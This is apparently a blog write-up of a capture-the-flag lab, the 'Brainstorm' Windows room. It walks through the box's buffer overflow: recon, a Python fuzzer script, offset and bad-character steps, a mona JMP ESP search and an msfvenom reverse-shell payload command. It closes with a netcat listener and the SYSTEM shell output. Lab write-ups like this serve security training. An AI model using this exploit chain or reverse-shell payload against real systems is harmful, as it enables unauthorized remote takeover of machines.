The Beginning — First Look
It was one of those evenings where I wanted a real challenge. I'd been breezing through Medium rooms and decided it was time to sit with something uncomfortable. Brainstorm had been on my list for a while — a Hard-rated Windows box, notorious for its buffer overflow challenge. I spun up my AttackBox, took a sip of coffee, and started the machine.
First thing I always do — let Nmap do the talking.
bashnmap -sC -sV -oN brainstorm.txt
The scan came back with something interesting:
Port 21 — FTP (Anonymous login allowed!)
Port 9999 — Some kind of custom chat application
Port 3389 — RDP (Windows, as expected)
Anonymous FTP? That's always a gift. I logged in immediately.
bashftp
Inside, I found two files — chatserver.exe and essfunc.dll. I downloaded both without hesitation. This was the application running on port 9999. The devs had essentially handed me their app to reverse and exploit locally. Rookie mistake on their part, huge win for me.
The Middle — Down the Rabbit Hole
I connected to the chat server on port 9999 using Netcat just to see what I was dealing with.
bashnc 9999
A chat prompt appeared asking for a username and then a message. Simple enough on the surface. But something about an unvalidated message input on a Windows service whispered buffer overflow to me.
I set up the chatserver.exe locally on a Windows VM with Immunity Debugger and Mona.py attached. Then the real fun began.
Step 1 — Fuzzing. I wrote a quick Python fuzzer to throw increasingly large strings at the message input:
pythonimport socket, time, sys
ip = "YOUR_LOCAL_IP"
port = 9999
buffer = "A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send(b"user\r\n")
s.recv(1024)
s.send(bytes(buffer + "\r\n", "latin-1"))
s.close()
time.sleep(1)
buffer += "A" * 100
except:
print(f"Crashed at {len(buffer)} bytes")
sys.exit()
The application crashed at around 2700 bytes. Immunity Debugger showed EIP overwritten with 41414141 — classic AAAA. My pulse picked up. This was real.
Step 2 — Finding the offset. I used Metasploit's pattern tools to pinpoint exactly where EIP gets overwritten:
bashmsf-pattern_create -l 3000
msf-pattern_offset -l 3000 -q
Offset: 2012 bytes. Perfect.
Step 3 — Bad characters. Sent all characters from \x00 to \xff to find which ones corrupt the payload. After careful analysis in Immunity, I found only \x00 was a bad character. Clean exploit incoming.
Step 4 — Finding a JMP ESP. Used Mona to find a reliable jump point in essfunc.dll:
bash!mona jmp -r esp -cpb "\x00"
Got a clean address with no ASLR, no DEP. Beautiful.
Step 5 — Shellcode. Generated a reverse shell payload:
bashmsfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -b "\x00" -f py
The End — Shell Dropped
I assembled the final exploit — padding, EIP overwrite, NOP sled, shellcode — and fired it at the real target machine.
Started my listener:
bashnc -lvnp 4444
Ran the exploit. Three seconds of silence. Then:
connect to [YOUR_IP] from (UNKNOWN) [TARGET_IP]
Microsoft Windows [Version 6.1.7601]
C:\Windows\system32>
SYSTEM shell. First try.
No privilege escalation needed — the chat server was running as SYSTEM already. Sometimes the box just gives it to you once you've done the hard work.
What I Learned
Buffer overflows aren't magic — they're methodical. Fuzz → offset → bad chars → JMP ESP → shellcode. Follow the steps.
Always grab files from anonymous FTP. Devs leaving executables exposed is more common than you'd think in the real world.
Immunity Debugger + Mona.py is a combo every pentester needs in their toolkit.
Patience is the skill. This room took me 3 hours. Every minute was worth it.
Tools Used
ToolPurposeNmapReconnaissanceNetcatService interactionPythonFuzzer & exploit scriptImmunity DebuggerCrash analysisMona.pyOffset & JMP ESP findingMsfvenomShellcode generation
If you're just starting out with buffer overflows, I highly recommend Brainstorm as your first Hard room — it teaches you the full BOF methodology in one clean box.
Happy hacking. Stay ethical. 🔐
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